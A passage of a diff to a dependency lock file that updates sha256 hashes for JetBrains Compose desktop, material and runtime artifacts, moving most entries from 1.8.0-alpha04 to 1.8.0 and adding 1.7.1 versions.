-   "pom": "sha256-xj9AG9d+sLiw6+6JyJAlHBmR48lyHHfzaG0db6ADX6I="
+  "org/jetbrains/compose/animation#animation-core/1.8.0": {
+   "module": "sha256-wnbpIfCcOS/H5HKfAMsjkbWhHAikGqQyGjd+4HKfHGM=",
+   "pom": "sha256-cbxoH0utJETNmIRasmldO+0TossumHOz5dUkXxZpGWs="
+  },
+  "org/jetbrains/compose/animation#animation-desktop/1.7.1": {
+   "jar": "sha256-R05r0qasI2Ll2r14D5O4UnaGQKoWQDsPxQXaiBd/l7M=",
+   "module": "sha256-kw0qlickr+L6z9eYIQfYCmkGh4hHCl1VrcDZj3ijuwY=",
+   "pom": "sha256-j1SyEA/7lX0HPry7gxTwvEne5FWIH9eLvhKnBHnjFwU="
+  },
+  "org/jetbrains/compose/animation#animation-desktop/1.8.0": {
+   "jar": "sha256-d+pgLVlMokOK62MF5PMmZBBXHr2ATbw9ITD1kvVmLiQ=",
+   "module": "sha256-lxLKBCKOJdVu1mJViL2NC7BsOqwbl4kcZNZqrEMvq10=",
+   "pom": "sha256-IBL/4ngEVK5s++GbOhuhVUFtxQeQBxLrQl6C/QiQV/g="
+  },
+  "org/jetbrains/compose/animation#animation/1.7.1": {
+   "module": "sha256-leqNJuQAkoHcPo60WyBfj2ZrQmZmtRisSaapUwKiicM=",
+   "pom": "sha256-Q9zVYfPQZrMbAQsujbu8xvzr5dF61PBt1NR93+hF3SU="
+  },
+  "org/jetbrains/compose/animation#animation/1.8.0": {
+   "module": "sha256-nIi46Jjj4U/ezOhqAc++Yt+2kl4c9QfZS5gABy61ZhY=",
+   "pom": "sha256-bVTqkvkFLAPOI8hUuxgwQv2tGAfI9sfnPJaYpPXjs8E="
   },
   "org/jetbrains/compose/annotation-internal#annotation/1.7.1": {
    "module": "sha256-OBY3qiWg10JF0HpLhxPDjcUBtU+yWvnWHdwzMR9AFhk=",
    "pom": "sha256-exANVYBe1I3wrGACFGbx1YcGM0wXJ9DQhRrNt302Ptk="
   },
-  "org/jetbrains/compose/annotation-internal#annotation/1.8.0-alpha04": {
-   "module": "sha256-IPD+KWwOHKwUt3lpz+YNjrqOhgRFq/pJaP6G8zW1Kmk=",
-   "pom": "sha256-y+VVh6dkRxbLCSwF7tnKzkcDmzzWqMvbBcDT2kOfKx8="
+  "org/jetbrains/compose/annotation-internal#annotation/1.8.0": {
+   "module": "sha256-JVyVeH8E7aWagHjrCzbuD/vxTBOcqD9wLSfkV8tBp3Y=",
+   "pom": "sha256-gfC88mZWJitqfVKp9wf0iJICL88O489YW7XCx+HJ5Qs="
   },
-  "org/jetbrains/compose/collection-internal#collection/1.8.0-alpha04": {
-   "module": "sha256-vaFu6aIimSDvb3uPClwDQpd/ULoPX9c26t0Ex/cVS6c=",
-   "pom": "sha256-tdLR02XqaOZqtCrrGsKIOlEEhXKyCQr8Wtj4vciX4vU="
+  "org/jetbrains/compose/collection-internal#collection/1.8.0": {
+   "module": "sha256-ywOV+BE1yWpiJ7Tqvd3TZ1F+JXiu9F+7AOlRtFkToCs=",
+   "pom": "sha256-Cx4ZY/TpVLIx3/lNnvdpkUsDRcjPLZbQ3tOEMENlNWE="
   },
-  "org/jetbrains/compose/components#components-resources-desktop/1.8.0-alpha04": {
-   "jar": "sha256-G1jfMsZ/+08PPbwV/am5WeLsP0PgvFbdsIi+NRI3uaA=",
-   "module": "sha256-eBTk/GIdZEvVU2yX0kEX5zj7ca1PX9K0gwvkDzRyST4=",
-   "pom": "sha256-nNjAAz37WdYh2qf3/uMGjmX6WxXFzOQjhUc1ZRf6pZs="
+  "org/jetbrains/compose/components#components-resources-desktop/1.8.0": {
+   "jar": "sha256-yzw74W1057pEfF4MXve7piZKmkF47jw3L486T/cIbPo=",
+   "module": "sha256-HZLCYddlCxManhDnWdHvFKg0P9qaiO86I7TeuHHHHM0=",
+   "pom": "sha256-dhsFXT1M9jqDqB9+rswsjz3qJJzBJ5Khzi544XaAb+g="
   },
-  "org/jetbrains/compose/components#components-resources/1.8.0-alpha04": {
-   "module": "sha256-QaapFBtuLRStUe2FSWfscImfxAxlzgr9py7+VOqUviM=",
-   "pom": "sha256-4YEBL4X+jda6rRYB1/ADf4bL168vEtcu7AXg5ucLwuY="
+  "org/jetbrains/compose/components#components-resources/1.8.0": {
+   "module": "sha256-z2Znv/bNeF/ih9cNRhCFrP5GLDVbi3ght4NYOlnKIM8=",
+   "pom": "sha256-AjY8sK/YwwTYkbCYiWhIpGXjxu/JGSbdrU6gJ45Lgrk="
   },
-  "org/jetbrains/compose/components#components-ui-tooling-preview-desktop/1.8.0-alpha04": {
+  "org/jetbrains/compose/components#components-ui-tooling-preview-desktop/1.8.0": {
    "jar": "sha256-AgAr0hEQXk6BQOfXeonP6SGBToYuj314vM/ej+Gyl9A=",
-   "module": "sha256-5ZNliGoYZ4baEJQFRAwiybLJ7i8j0aqcyiVYfydyY/k=",
-   "pom": "sha256-JpKpRqmhhwNK+etHaGNO8mfl2XM9cDL84YJ9qN3sdRo="
+   "module": "sha256-vksrZ9lzXKJFvB1F+0N/jgvvIaf5OlD5/RLn7xM88tc=",
+   "pom": "sha256-iMEszobdK8hdFv0zIMzMIUJ1xjSN72yFabOjHCrtnl4="
   },
-  "org/jetbrains/compose/components#components-ui-tooling-preview/1.8.0-alpha04": {
-   "module": "sha256-4AO3yPVIehqTsA0DnKEAKIUiMYgTWk/jG6/wZkTyKpE=",
-   "pom": "sha256-biX6hgQI0jdlIhg5rrl7pEkRh0Ac3kdAGKgCnfbdeOc="
+  "org/jetbrains/compose/components#components-ui-tooling-preview/1.8.0": {
+   "module": "sha256-vl8m7Z2We4Iw/WkBUIIiUfWiEA4jDMnBIJTlyyEEZXI=",
+   "pom": "sha256-g0jJHAR0fsxpJXxAcqCjUJTDBW7oQ+nWOTG2spghkXw="
   },
-  "org/jetbrains/compose/desktop#desktop-jvm-linux-x64/1.8.0-alpha04": {
-   "pom": "sha256-dIPgJCP4kd0RMgMVhp4Buyyrg3GKAbOyg3zWdIYb8iM="
+  "org/jetbrains/compose/desktop#desktop-jvm-linux-x64/1.8.0": {
+   "pom": "sha256-EMmZuRJK6U9YNfb3cygd0h2PCbywt2mMjX7dn1B5CLs="
   },
-  "org/jetbrains/compose/desktop#desktop-jvm-macos-x64/1.7.1": {
-   "pom": "sha256-wmVpVQhvtQIR33ifcfL5M44Tqr+tbRPC8C0Qu4iPmic="
+  "org/jetbrains/compose/desktop#desktop-jvm/1.8.0": {
+   "jar": "sha256-Wm8xHTJrwA6Tvgr79cp7lZCzSDeOc7whAzRlZPSAc48=",
+   "module": "sha256-CtP/+k+q2WVEHOCsUonmBq0FKbjfgJFic72NjgvaQUk=",
+   "pom": "sha256-jpo8rUlmfB4gGXKtjTSkTUV0LWIxTAVctQjsffpGiH8="
   },
-  "org/jetbrains/compose/desktop#desktop-jvm/1.8.0-alpha04": {
-   "jar": "sha256-IZE7EA1GFlcHsrZW7Vs4vI7aD2Bj9VMnh+nRv3+UPv4=",
-   "module": "sha256-px3tHKJpOpZPpS18KyGDEaJqeL8iAzkBnkHYFdZGYU8=",
-   "pom": "sha256-gsz84p4fqrIpVYptzzg9R3aFi2aud5LPxIgrR79+knc="
+  "org/jetbrains/compose/desktop#desktop/1.8.0": {
+   "module": "sha256-yzAkUD1V7sJb9YUnIRq9Cv4weMjOs+0ygDdr/3vjERk=",
+   "pom": "sha256-6y0XbrT2FJJjy85gfdj5W9Q0Td2eUElILcqzz3sUiJI="
   },
-  "org/jetbrains/compose/desktop#desktop/1.8.0-alpha04": {
-   "module": "sha256-bsLHN/jwn0KVOFMJFeOZJxXRmQQX1cmAYt2XH+G5CwQ=",
-   "pom": "sha256-A5sexl6DYuM28keotN4oELcIKFKvMNjz8OxFBvpWZQ0="
+  "org/jetbrains/compose/foundation#foundation-desktop/1.7.1": {
+   "jar": "sha256-UN84WzKKCtekeeaQz+WT+84IrTntV5FnR5MpVt7gfws=",
+   "module": "sha256-e0RnxpVJc6cG2nTOLI7Te4RlXSxSGWWXHWgCb5iBTJI=",
+   "pom": "sha256-aAvQ++JHgzK+3kUTK1VmVNpsK063CPiqVp0bvV3AZ9A="
   },
-  "org/jetbrains/compose/foundation#foundation-desktop/1.8.0-alpha04": {
-   "jar": "sha256-UsZBh9YVrTi/PfQQaLKgGA2BiND4dfeaRpOPMHP9r7s=",
-   "module": "sha256-okLMq8ahtwADXCyTAFnyKsMC13Cz1KWk8sTEJncsGgM=",
-   "pom": "sha256-Jla3YP+wk7QTcc08ppcQM7lGAw6X1Ti4ux0z6YLfeM8="
+  "org/jetbrains/compose/foundation#foundation-desktop/1.8.0": {
+   "jar": "sha256-+J3Onwy/VBxH3dYWzDIpNR4GNMYFUbZSv+m5I0xNfJw=",
+   "module": "sha256-bD/+rRaCdURwqxjq4sObxR1yTtS+QF5u6a4hz844Ds8=",
+   "pom": "sha256-eSZSXsbAjXxqgEFi0fwnSsUySVd8/3wrjjKs3EfCeUE="
   },
-  "org/jetbrains/compose/foundation#foundation-layout-desktop/1.8.0-alpha04": {
-   "jar": "sha256-OCl8mANYZ4ojg1m10ru5DhE2tJuADGsvAnboR1q+SMI=",
-   "module": "sha256-HHEXynrYkcMxjqbl2Yi5xJHJipaCJDOFCOcGrhi2X9U=",
-   "pom": "sha256-K4qgsUplVMBjD8rpIjDAQae2np2tNs15ILqj66+ZtrE="
+  "org/jetbrains/compose/foundation#foundation-layout-desktop/1.7.1": {
+   "jar": "sha256-0shnwT/2Yy+YgOZ9q6sukwAHsAi5silQ/CzAdQCOzrY=",
+   "module": "sha256-aeRUgNLR3M8Hdzyq5gwdkvTu9PxF3K7luOg2KFlzsBc=",
+   "pom": "sha256-G8KiSCB1lID95NL6BswigNBCOpXAohpoUdjOfoaxnN4="
   },
-  "org/jetbrains/compose/foundation#foundation-layout/1.8.0-alpha04": {
-   "module": "sha256-3j0zb44v6qd5Brs7Mt3WQN8W3Ci5+SAKcSZDtKT0mU4=",
-   "pom": "sha256-8F0/i7DVy4p5OtG8OD7D0IElawLjdAPCxanSqncqoEY="
+  "org/jetbrains/compose/foundation#foundation-layout-desktop/1.8.0": {
+   "jar": "sha256-Cb8kfmXy0+KuMJB6AdRtyRqKahQS0aXrYQlYE876Q9Q=",
+   "module": "sha256-e/WLBp5H0rT8HF5jQP+/B6xv49JpsfDMfZZgglgtAsk=",
+   "pom": "sha256-VbDLQsqY32XlYQw3NXM0Ril7rKaoURtsJzI4AD/t/xk="
   },
-  "org/jetbrains/compose/foundation#foundation/1.8.0-alpha04": {
-   "module": "sha256-9oLYatpLCjX0kvltrnryeLTkVQRoj6CWOi+F9UmmsCo=",
-   "pom": "sha256-YdA6m9aCwFJtOkRsur7DUUKl0W+N9aG9zTpa4d6f6OU="
+  "org/jetbrains/compose/foundation#foundation-layout/1.7.1": {
+   "module": "sha256-U7+p+nvaWJ4NsTtyjjpWFPKMLJ5fvw8I862PKxT1hNE=",
+   "pom": "sha256-9+spSlpczBUbO2H9ot/tBcOpmErsNK3xp1VUS/2BN6s="
+  },
+  "org/jetbrains/compose/foundation#foundation-layout/1.8.0": {
+   "module": "sha256-kZ2+V0N3+oPDT+EarskULhuFLkvKSKGUgo45RHSE+U4=",
+   "pom": "sha256-TIKvGCN5+0QxtdSGXwBGCAW2UKZ5mASgGWJxAWWME20="
+  },
+  "org/jetbrains/compose/foundation#foundation/1.7.1": {
+   "module": "sha256-TudcyFcJEkmZZlCgo+Ag0MOoaHZtnB5ZdqySFMioscI=",
+   "pom": "sha256-js5Yc65fY4YFqEdPVZITMFGSkOcohMk6yJXSIN7/34Y="
+  },
+  "org/jetbrains/compose/foundation#foundation/1.8.0": {
+   "module": "sha256-oB7rvq5HQlt2qf87ag6zygwXijA/BbnTQ0Vf3L0TWMs=",
+   "pom": "sha256-eUpLO7pJFPEzY+j0dJRoV3Va4PHJg7ctweuu5y0pyeo="
   },
   "org/jetbrains/compose/hot-reload#runtime-api-jvm/1.0.0-alpha05": {
    "jar": "sha256-+2p7PMWZNC8rUApqQ17M8vue1B2pcsfUgCzbSn4DFGI=",
@@ -2571,10 +2646,15 @@
    "module": "sha256-LBG1MeaMgYj7+H0QTIumK3trdF5wPNaCvqLcdiG8YXg=",
    "pom": "sha256-Qx1LGtWuX0mxy0TAYzZR6WmPpzDjcKR/iziowomZt1Q="
   },
-  "org/jetbrains/compose/material#material-desktop/1.8.0-alpha04": {
-   "jar": "sha256-Jigh7AXNWziN0f9Z2e9q/aE1jUyewBXzjOMf90J7Ngg=",
-   "module": "sha256-R096AAjrxZC/DOA6pAcxDy6Qep2M9ZWOpfZnZbZ4Ftk=",
-   "pom": "sha256-AaGiVgwez3+fFyDjdjKGa+OiMDTs9LWGhVKWsVpuC6Q="
+  "org/jetbrains/compose/material#material-desktop/1.8.0": {
+   "jar": "sha256-ktEOLNLJUFGKUWVSWH0ri+cDBrP724Sa8ajhCppAhiA=",
+   "module": "sha256-vgNb8TfUbWNZ9WplSP/x0ILkpzEd5uuN0zKFkqi/Rqs=",
+   "pom": "sha256-wU1/lp3yeY5RGillUC1TwUI44EI6+womYfiAOheMCDk="
+  },
+  "org/jetbrains/compose/material#material-icons-core-desktop/1.7.1": {
+   "jar": "sha256-vPbIU7bbL/FI0tOq07en6lTZP8e0Lgr9hA622vGhxoE=",
+   "module": "sha256-dpqLgvJ7j5oIElPV7o/UittRBgrNnC6HsozvYMG28kQ=",
+   "pom": "sha256-AzQzIbHALCbkTVxBLTW1r1hIapEJ/YiUheHWf6+cdIc="
   },
   "org/jetbrains/compose/material#material-icons-core-desktop/1.7.3": {
    "jar": "sha256-vPbIU7bbL/FI0tOq07en6lTZP8e0Lgr9hA622vGhxoE=",
@@ -2585,211 +2665,314 @@
    "module": "sha256-VcHqxOfrTOt14Cav0FTk+LgZBVPgJ2zuvR/HdXisYcE=",
    "pom": "sha256-964wavWzWSCtqddmkygHpwQ7vFLBD8DBVp+BohfGoV0="
   },
+  "org/jetbrains/compose/material#material-icons-core/1.7.1": {
+   "module": "sha256-B5vF4xG7NUubyRRi8TaEinU/3LQaox8NqNsYl657rOE=",
+   "pom": "sha256-4Y+gqZINr+qVp9YsZKGcgSLS1Bo9+JitPVSsMds9aqg="
+  },
   "org/jetbrains/compose/material#material-icons-core/1.7.3": {
    "module": "sha256-bzMObQpiopITWjDBxT6lGWrXrrBIZ5r2Hk/JKmYukHY=",
    "pom": "sha256-wDviSkFlDR3YN/+tAA7Mf8y+y2EAoOj0gDmEcMQqhGo="
   },
+  "org/jetbrains/compose/material#material-icons-extended-desktop/1.7.1": {
+   "jar": "sha256-3FXTg9yoJ541ORflxak9GSqV58pPkm7lXuC0Yn+Z2GA=",
+   "module": "sha256-ysKEishpAGbgJfbrPNMsDWqjBVLL8KTedb6NFo7TGY0=",
+   "pom": "sha256-Oncw3anS5QyIDaNSeoXSu/UZTjl52gtZakxq4BUWxCY="
+  },
   "org/jetbrains/compose/material#material-icons-extended-desktop/1.7.3": {
    "jar": "sha256-3FXTg9yoJ541ORflxak9GSqV58pPkm7lXuC0Yn+Z2GA=",
    "module": "sha256-PYIoDQjwjMPjN58f/jiHBUovuDfknStj1JIumjf6ecU=",
    "pom": "sha256-cD/QmE10zp88WXPXTsyyxD26VBml9VT91Ux0URHkfzY="
   },
+  "org/jetbrains/compose/material#material-icons-extended/1.7.1": {
+   "module": "sha256-3kM5Kc+XUZJrJ72xEbkNs2X4ZWozURLx0Tn5+sU+vyg=",
+   "pom": "sha256-fBBibxuyLO7dQpV6fheDlD4uYEIfWUTOJrnNCq6wYBg="
+  },
   "org/jetbrains/compose/material#material-icons-extended/1.7.3": {
    "module": "sha256-sfqa12veAdmGn5uwxxKc0rByeU8jfgTRXj73yKZqSHI=",
    "pom": "sha256-3NyiJy7t6vlAZmO5s4zMl8cXnoWqHKeJMuxhIuVZlYw="
   },
+  "org/jetbrains/compose/material#material-ripple-desktop/1.7.1": {
+   "jar": "sha256-xfa9+yKaF5SoOO0fMfcpmjtRYAS+/+GovMp1OqJovgk=",
+   "module": "sha256-476a8k7pZ20fYnKKt4BhaTS0Rqe4Z9wVVKqBaGpQE8g=",
+   "pom": "sha256-J3joa5k5b8ZfhR1C/BJ5Ku0hWYw4i8PCFlAIpRlOpfU="
+  },
+  "org/jetbrains/compose/material#material-ripple-desktop/1.8.0": {
+   "jar": "sha256-VRZAECR5rIOkGqSp6X2aMtbS9G5xvXvBG9VdIZVNqv0=",
+   "module": "sha256-Q2Cggw5aZXar80BtGFiHL/lUAZOMKiCKuX5jXGYz5qs=",
+   "pom": "sha256-WMcEcfjk/p863JAHkHaT5ahQpjSZ/Df6Y1d/J5FurAE="
+  },
   "org/jetbrains/compose/material#material-ripple-desktop/1.8.0-alpha03": {
    "jar": "sha256-vW+Je+w5CQLiVd0+HXLXY5jV6C3r1PDAbDCltfCsSVU=",
    "module": "sha256-EtHZWUpaT43b+JNnLr0UNH+46uVvUsDso09uxw205gM=",
    "pom": "sha256-0bQRtiT+S+VGZx57wM/MON424kPVd6XK7jGg5DhVDp4="
   },
-  "org/jetbrains/compose/material#material-ripple-desktop/1.8.0-alpha04": {
-   "jar": "sha256-vW+Je+w5CQLiVd0+HXLXY5jV6C3r1PDAbDCltfCsSVU=",
-   "module": "sha256-oM3vSNacD0JZtYIvq4B2Z4QIYiHfaFioE2o3SpNdA34=",
-   "pom": "sha256-nLydR64foEZCAi/Z8Rkt4ozRgPFZ2k2SZj6cshQIiHo="
+  "org/jetbrains/compose/material#material-ripple/1.7.1": {
+   "module": "sha256-0a8hV2+VfuVB6qCEckE116Sr0nNXTBJFUpWsXCFntBU=",
+   "pom": "sha256-8WQUEqPikyViaWeNGM41NQFS1fRNm4S0Dl64W/TvSdA="
+  },
+  "org/jetbrains/compose/material#material-ripple/1.8.0": {
+   "module": "sha256-93ghI7Ew1ukpYGyR9PQjJjCo37cAn8FKR0rv4msrllk=",
+   "pom": "sha256-9DNlRyFU6GzD6NwoPycABB1BFQdC1NS2euHTfvniC0Q="
   },
   "org/jetbrains/compose/material#material-ripple/1.8.0-alpha03": {
    "module": "sha256-RsSmhJ+KpLqDYBhJAqEx9A6kNmzAa/7eHwLOozoq88I=",
    "pom": "sha256-dfywyKynZatgupUyaZC2o3BaMTs7JMefGvPEGfsLAjg="
   },
-  "org/jetbrains/compose/material#material-ripple/1.8.0-alpha04": {
-   "module": "sha256-iTZr4vBCDfaIQuwAb7nKj2FbhbQzXgSOplOAHXazhho=",
-   "pom": "sha256-HDkzxtQw3cr4HRaHNZF5Xi2EL1bI6LK3+Bn9rhaFmoo="
+  "org/jetbrains/compose/material#material/1.8.0": {
+   "module": "sha256-lnnDZXWONebllUyL0aHBmyjiHdOOWzkjdEFwyAGFVx8=",
+   "pom": "sha256-Ux86K/vY/Xr39bzXF+vLxaIT8XFPefcpm667fjg0d2M="
   },
-  "org/jetbrains/compose/material#material/1.8.0-alpha04": {
-   "module": "sha256-Nw5J10UtSt7rZIbZyjV0xEIBoMfBbEbe7VyLW7xHWus=",
-   "pom": "sha256-FcN5SQtW5NvA/ziosiKCm00iyQJj5J41CPaiRqdwkbY="
+  "org/jetbrains/compose/material3#material3-adaptive-navigation-suite-desktop/1.8.0": {
+   "jar": "sha256-E1debVxaFkCwB301AFZ5aB0BfypHFgaLCwMTjqWfWwI=",
+   "module": "sha256-L80XCd220VjiaqC0ggndmjeX0DYrQyrCj+oOV8HPTbM=",
+   "pom": "sha256-h+LOAWqiS/f6FP5Tyicy9PQnBmofe4LzLmrnDMUZOno="
   },
-  "org/jetbrains/compose/material3#material3-adaptive-navigation-suite-desktop/1.8.0-alpha04": {
-   "jar": "sha256-9Uj8r2rhipDxUf74oa4gtk3ajY6pXEtRmkKriHx+lBg=",
-   "module": "sha256-02VF4O1EUxBsJWEDq0s//c1ITJvBIQXp2/CGDZEqe+s=",
-   "pom": "sha256-lfSxzo6ZXZ8nO85Wj9aTZcb45iJE4JDbAuXngeaOaXE="
+  "org/jetbrains/compose/material3#material3-adaptive-navigation-suite/1.8.0": {
+   "module": "sha256-mTzhPkO51y5NLorojIrnN4ZR1z105kvWSY6cPaR+hNM=",
+   "pom": "sha256-8MfR4F0vSIhNeMU5SLjy9dkmQq4ObBkSIpBosI2X5i4="
   },
-  "org/jetbrains/compose/material3#material3-adaptive-navigation-suite/1.8.0-alpha04": {
-   "module": "sha256-ZKQWCdUc8i6K/Qt9+ECWl0O7PeWnB29ESj8rOzGOv5g=",
-   "pom": "sha256-5kU73LVJ/0daXUsa3zSy1KN/529FESSUwdngxXrvg/U="
+  "org/jetbrains/compose/material3#material3-desktop/1.7.1": {
+   "jar": "sha256-dkJDTX15vxSIby8NFzngouRCjv+opp5XyCsVQMGazhI=",
+   "module": "sha256-D7pIndXI/3UzMZZyGeKsH4smH3OQSr2MbxPS8la0yR4=",
+   "pom": "sha256-arivxNupMK+rpxWYkiOWE6LFoXelWo4oWCEn6Nv1mGk="
   },
   "org/jetbrains/compose/material3#material3-desktop/1.8.0-alpha03": {
    "jar": "sha256-JURxLAyB9oXJh91EBvN4VambiTVbXP2R+c9V15F94Vc=",
    "module": "sha256-fLSR87OVtlX5bqGfSRT6nQJV4aeIE9xXmCUx0a8O0Is=",
    "pom": "sha256-Gs17XElZ84eFPvucYiPDkD66znWSRH55vnwKqkNV9K0="
   },
+  "org/jetbrains/compose/material3#material3/1.7.1": {
+   "module": "sha256-qvFQNGGrB7ehjYXFXdQEaSsRKu3l1XgOwYyDsPYNXUQ=",
+   "pom": "sha256-7I2Sz9gexvi8u5VGZiuphrZ5x1EwUjkCI4x1IVFfOBw="
+  },
   "org/jetbrains/compose/material3#material3/1.8.0-alpha03": {
    "module": "sha256-/AykMQ/v1zUjdyjas194djHfq2fW59SyJ5Ti5ngAb8o=",
    "pom": "sha256-mkJqqoq807D8Ab0Gn5jBGs5Dzu5T3W6zmKaBmGccqIE="
   },
-  "org/jetbrains/compose/material3/adaptive#adaptive-desktop/1.1.0-alpha04": {
-   "jar": "sha256-faTVrekedntUkmvz+K6IqQUUq6HFgAtgFoE2GOe/Bxk=",
-   "module": "sha256-9ZsRYQmNkBDivhHHAhUGb/KrEm4S8AjpjnwtFZA5oWc=",
-   "pom": "sha256-RijD+D95uC1ctRTiSfuJngonVjxnzjyXl5ovI+9H78M="
+  "org/jetbrains/compose/material3/adaptive#adaptive-desktop/1.1.0": {
+   "jar": "sha256-w31A75QUyqau5AfIrhE19yd2Riy4Y/rbfH40I3TBhos=",
+   "module": "sha256-b4LGOwHi8DxcPlW+Xe3U2g+RlalRUgf3XxYAjJMcSrU=",
+   "pom": "sha256-Q/Vsgi+P9KzlfabIifsVs3Ng3RbIIDmAuYUNQaw/iZ4="
   },
-  "org/jetbrains/compose/material3/adaptive#adaptive-layout-desktop/1.1.0-alpha04": {
-   "jar": "sha256-MUflmNxPziKVzbNQh7P9LwVRYwOoK53PftAr6Rva+1I=",
-   "module": "sha256-SKnOGlvVTbdsdJ+si7fQ6kg2uFurgGGX8OCuk+yHQN0=",
-   "pom": "sha256-quacszVe3boTYfiNrvs0fy1sFRmM8RUsnQqL5/nNumA="
+  "org/jetbrains/compose/material3/adaptive#adaptive-layout-desktop/1.1.0": {
+   "jar": "sha256-2Jmnz9e72H6V1lFB4L9n379S3pyI4jvbUclfLB3biQE=",
+   "module": "sha256-vONgsyh5BqiR81rgp2xQtnnWjqIT0AnXeY89khLhix4=",
+   "pom": "sha256-PwnsftztMVa/DXluTMLV4yZfUoGwLq33wIi6M517rl4="
   },
-  "org/jetbrains/compose/material3/adaptive#adaptive-layout/1.1.0-alpha04": {
-   "module": "sha256-jIaOoEfIH3Q1gcc4e2rE708ZepvtLfGrp0er3ndroyg=",
-   "pom": "sha256-lWqjI6SbV9FQocBVgJ/4Y1PYt4VAYEi087exf5JwKmM="
+  "org/jetbrains/compose/material3/adaptive#adaptive-layout/1.1.0": {
+   "module": "sha256-iFYuJcWE5Ep7aPuITuJqhrsS+6uFLYJlllHtCMxScCU=",
+   "pom": "sha256-8k0eRAFpo1g8lRA6wj5KgJDcgIAG54W9TK/RukHwoks="
   },
-  "org/jetbrains/compose/material3/adaptive#adaptive-navigation-desktop/1.1.0-alpha04": {
-   "jar": "sha256-GLbT0U/iQwJoWJAT7cLu8c+VkF7HZY4vcmBSlFroEc4=",
-   "module": "sha256-Gj73jQ5kwX/WoMHEdPOkUuy2yyH0WvfDxkJIis5RTus=",
-   "pom": "sha256-zTTtJpfBL7bdrZ3z9DQRl8EH3Fx2aSbZB8NCDu4BGzw="
+  "org/jetbrains/compose/material3/adaptive#adaptive-navigation-desktop/1.1.0": {
+   "jar": "sha256-dGQ1hMjmRRByar4g4eOI6cK7A5vKgZR049OOvtknOAc=",
+   "module": "sha256-AVQBfw7P+gpKjttiF6EMq8LxKgUULcHf+OvX0AfxbYo=",
+   "pom": "sha256-S5xXPuHSaln7nchmXGBrFZl8I4UUWvdm5EEYPfUDfsk="
   },
-  "org/jetbrains/compose/material3/adaptive#adaptive-navigation/1.1.0-alpha04": {
-   "module": "sha256-VHtOiubu1uUUPILo7b8QVrxejL81ho2TzJFkYJJ5PQw=",
-   "pom": "sha256-U/JpeqLcjSltxij3HQAOpIJKQeiKE3jYInkNJWCjNos="
+  "org/jetbrains/compose/material3/adaptive#adaptive-navigation/1.1.0": {
+   "module": "sha256-aGVHRihDaRF9EP2xVJFmQfLNHLFT2x8mqMt4yYFkcMQ=",
+   "pom": "sha256-AXEI1KstsiW6SkRRZqSEVn5Wx3J2DaBe3pNMnEuM+eU="
   },
-  "org/jetbrains/compose/material3/adaptive#adaptive/1.1.0-alpha04": {
-   "module": "sha256-Vc4jWNA93TUofKnlRJcPlY+nHA9bJjP2htfZci32s8Y=",
-   "pom": "sha256-DwakDtwakDR3JatlKtuWyGoRzBdJ/thKi3FWMptr6js="
+  "org/jetbrains/compose/material3/adaptive#adaptive/1.1.0": {
+   "module": "sha256-p0sWSpGXOY3qeSeA8+pse06Q5ndNsToGsjVDCGRL+Bw=",
+   "pom": "sha256-oK00sMpKpxquGVgSUj0azKnJZ8geY7QLTdarvUAOU2s="
   },
-  "org/jetbrains/compose/runtime#runtime-desktop/1.8.0-alpha04": {
-   "jar": "sha256-dYqLRtj3TT3WoY7PUNssBl2hcU1Tker6jPwNSuAFYyc=",
-   "module": "sha256-7mwXTJw3AUDwHL8cuOXAbD1j0sK5OcFbgwUuySJtVPc=",
-   "pom": "sha256-2iWE6NCe5JBcpmt6axdlodHESV7suZzNu9dpE5Yyykw="
+  "org/jetbrains/compose/runtime#runtime-desktop/1.7.1": {
+   "jar": "sha256-duMlBUe5yjyxpJwnKTOyXLO8y8m6Endd1hYaY9mqfPE=",
+   "module": "sha256-My6v5fATPpwP8mn+rhAMeJX+IkYo0FUZRYgfzKBhFsE=",
+   "pom": "sha256-01d42i+5MOce1u1rym8//gdcZOF24fuB1mMH1HHEseU="
   },
-  "org/jetbrains/compose/runtime#runtime-saveable-desktop/1.8.0-alpha04": {
-   "jar": "sha256-M5d4mfkEp+5caZLXkWOvWdIUzYmLCvPTfglOw32O9Zs=",
-   "module": "sha256-9AfZmTsolCClY7HzhsBtLEMoyeSs5BQe0QdOEvBqL/U=",
-   "pom": "sha256-A9rVWm5bnC5fR7+lYsyrTFPBbF1H9+lUrYVxUpptCJU="
+  "org/jetbrains/compose/runtime#runtime-desktop/1.8.0": {
+   "jar": "sha256-koj4pOb5UWioNkj+cn8y266w74BtGDAm3KhTcljlZeg=",
+   "module": "sha256-RZddB+4Yr6W6JcbK8tAEL2i6DSoKUOKzpxSv72vI42A=",
+   "pom": "sha256-FFtNhLs7RXpNuAjHr/vwkP8m0ZPlXt0j4YCtUo49knQ="
   },
-  "org/jetbrains/compose/runtime#runtime-saveable/1.8.0-alpha04": {
-   "module": "sha256-QEvySeBkdYZXuELg6Y3C45n5VMs+2Uc+c9iANW5FVLM=",
-   "pom": "sha256-L3/5oiP1pQLRj25jhd0032jKDPuBZoGO0+iLX5DUOYk="
+  "org/jetbrains/compose/runtime#runtime-saveable-desktop/1.7.1": {
+   "jar": "sha256-QwY2O+kOqr50uQDbTDLtHxXHVI5bMKcJPE7kDENrm4w=",
+   "module": "sha256-lbODl+J/sf4du5MfHL5qCZZReoWTQzLNRLT7OQ+PXLk=",
+   "pom": "sha256-YPjvLYLG1V2/Pn4LqLb41II06TEMpm8d+b9voLHoyLw="
   },
-  "org/jetbrains/compose/runtime#runtime/1.8.0-alpha04": {
-   "module": "sha256-Ke4vccjmeAhP1xXn6TGv8ODjUAKICzdLy91O4IVO5pk=",
-   "pom": "sha256-2+tAHC7YOJC8P+S9gbOVRhT+IlcbpCA3NadhlFXROx0="
+  "org/jetbrains/compose/runtime#runtime-saveable-desktop/1.8.0": {
+   "jar": "sha256-IR6bMX3jLuu70pPqhkjbEKVYafc74lj+WfX704u2X1o=",
+   "module": "sha256-JxvoF9OJol4mLqc3zFuZroKN8uf7bvrmZxEcF++lSxs=",
+   "pom": "sha256-Punve01+HfuOWQesPyhjbGjMhLfBX+bpK2jOeCgGIkI="
   },
-  "org/jetbrains/compose/ui#ui-backhandler-desktop/1.8.0-alpha04": {
-   "jar": "sha256-2TtvBgXT16ftfFyheCy/yRlMpKB0zoz75bYBhhgEXvs=",
-   "module": "sha256-EYbwhN8UwlowXz6W70caow2VZsnKHL6iVU+lPbLlscM=",
-   "pom": "sha256-BaEAFwP5tXZnw+UKaNMLr+gs4r3q33KyTf2Tsk6rn44="
+  "org/jetbrains/compose/runtime#runtime-saveable/1.7.1": {
+   "module": "sha256-yDUM3lAXvSoW+gL6d/sNpV0RcUyDqhGGy6NWcmrjq20=",
